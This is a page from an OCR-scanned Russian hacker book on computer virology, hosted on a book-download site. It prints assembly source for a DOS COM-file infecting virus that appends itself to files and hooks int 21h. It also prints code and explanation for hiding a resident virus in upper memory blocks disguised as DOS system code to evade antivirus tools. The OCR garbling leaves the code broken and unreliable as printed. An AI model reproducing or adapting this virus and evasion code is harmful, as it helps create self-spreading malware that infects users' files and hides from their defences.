Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 44 45 46 47 48 49 < 50 > 51 52 53 54 55 56 .. 123 >> Следующая

mov ax,3D02h ;открываем файл для чтения/записи int OEOh jc Close_File mov
bx.ax перемещаем индекс файла в bx
push cs pop ds
call Go_Beginning ;переходим к началу файла
mov ah,3Fh ;DX=300CX=3
int OEOh ; читаем 3 байта из файла
cmp byte ptr ds:[300h],'M' ;это .EXE? je Close_Rle ;если да, то закрываем
"
dec ах ;ах = 2 (ах = 3 из прочитанных)
189
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
call Move_FP ; переходим к концу файла mov ds:[33dh],ax сохраняем длину
файла
mov ah,40h ;записываем вирус в файл
mov cl,80h ; 128 байтов
int OEOh
call Go_Beginning ;возвращаемся к началу и
mov dl,3Ch ; пииюм прыжок
mov ah,40h
int OEOh
Close_Rle:
mov ah,3Eh ;закрываем файл
int OEOh pop dsdxbxax
Go_int_21:
db OEAh
IP_21 dw ? сказавшись в памяти, располагается в CS_21 dw ? ;строке для
int EOh и заставляет любой ; вызов к этому прерыванию переходить
;Kint21h. end start
Использование UMB
UMB (Upper Memory Blocks - верхние блоки памяти) содержат память выше
640Кб и ниже 1Мб (сегменты A000-FFFF). Прежде этот регион резервировался
для BIOS и периферийных устройств (в основном, видеопамяти). Обычно в
этой области располагается большое количество неиспользованного
пространства, поэтому программисты нашли простой способ введения этой
памяти в стандартную схему назначения памяти в DOS.
190
ГЛАВА 4. Вирус - резидент памяти
Они просто расширили цепь МСВ до этой области и тем самым добавили
память, используемую для загружаемых программ. В UMB стали хранить TSR-
программы. Оценив достоинства UMB, программисты Microsoft решили
использовать UMB в DOS5. После этого UMB заинтересовались вирусмейкеры.
Управление МСВ верхней памяти несколько сложнее, чем в обычных МСВ'.
Формат блока управления UMB таков:
Табл. 6. Формат блока управления UMB
Блок уп равления UMB
Офсет Размер Описание
00 BYTE (байт) 'Z', если последний МСВ в цепи; иначе'М'
01 WORD (слово) PSP сегмент владельца (8, если MSDOS; 0. если
свободен)
03 WORD (слово) Длина в параграфах
05 3 BYTES (байта) Зарезервировано
08 8 BYTES (байтов) Имя файла в ASCII, или "SC", если системный
код, или "SD", если системные данные
Метод довольно прост. В DOS 5+ первый UMB можно определить с помощью
указателя в структуре буферной информации диска, которую, в свою очередь,
можно определить через структуру основного списка (мастер списка) DOS.
Этот UMB обычно располагается в 9FFF:0000 (наиболее традиционная
локация). Различие между модификацией обычных МСВ и UMB заключается в
дополнительном поле в офсете 8, которое может помечать блок как системный
код DOS.
Пометив блок таким образом, мы можем эффективно спрятать вирус от авиров.
Указанный ниже код, написанный для простого СОМ-инфектора, иллюстрирует
данную технику.
start: xor di.di
mov ах,3306 . ;получаем версию DOS
191
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
int 21 inc al jz no_UMBs
;это DOS 4?
;если да, мы не получим UMB
mov ah,52 '.получаем структуру главного списка DOS int 21
kfcsi.esifbx+IZ] ;попучаем указатель на Wo буфера диска
mov ax,ds:[si+1f] ;получаем адрес первого UMB inc ах ;(FFFF, если UMB не
присутствует) jz no.UMBs
dec ах ^ликвидируем ущерб, нанесенный выше
search_chain: mov ds.ax ;переходим к МСВ cmp word ptr [di+1],di ;не
используется? jnz search_next
cmp word ptr [cS+3],resiength_P ;MC8 достаточно большой, чтобы ja
handle_MCB уместить вирус и наш МСВ? search.next: cmp byte ptr [di],T
;конец цепи? jz noJJMBs
mov bx,[di+3] ;переходим к следующему МСВ
inc ах ;40Нех
add ax,bx jmp search_chain
no_UMBs: mov ax.cs
dec ax ; получаем МСВ для текущей
mov ds,ax программы
cmp word ptr [cS+3],resiength_P +1000 достаточно большой для jna failjnit
; программы, вируса и его МСВ? jmp short handle_MCB
192
ГЛАВА 4. Вирус - резидент памяти
db О,'(DA/PS)',О
handle_MCB: sub word ptr[di+3],reslength_P + 1 ; подстраиваем размер
Юбласти памяти для вируса + его МСВ mov bx,[di+3] ;получаем размер новой
области памяти mov cl.'M' ;гарантируем, чтобы этот МСВ не отмечал xchg
cl,byte ptr [di]v ;конец цепи inc ax
add ax.bx ;переходим к МСВ сегмента вируса mov ds.ax mov es.ax
mov byte ptr [di],cl ;вносим индикатор конца цепи mov word ptr
[di+1],8;отмечаем, что МСВ принадлежит DOS mov word ptr
[di+3],reslength_P ;патч на размер вируса
inc ах ;ds=>cerMeHT вируса mov ds.ax
or di,8 ;переходим к полю имени файла mov ax,'CS' ;делаем вирус невидимым
для утилит авиров, stosw ;притворяясь, что это системный код DOS хог
ах,ах stosw stosw stosw
193
Глава 5. Инфекция ЕХЕ-файлов
Мы, пророки Сети, резонируем друг с другом через времена и пространства.
Когда я читаю следующую часть 49 главы Бытия, то вижу истинную суть ЕХЕ-
инфекторов:
"Дан будет змеем на дороге, аспидом на пути, уязвляющим в ногу коня, так
что всадник упадет назад. На помощь твою надеюсь, Господи!".
Из *Черного гриму ара" визарда Dark
Avenger
До сих пор мы обсуждали простые вирусы, которые малоэффективны для
самостоятельного существования в суровом мире хищных антивирусов. Они
Предыдущая << 1 .. 44 45 46 47 48 49 < 50 > 51 52 53 54 55 56 .. 123 >> Следующая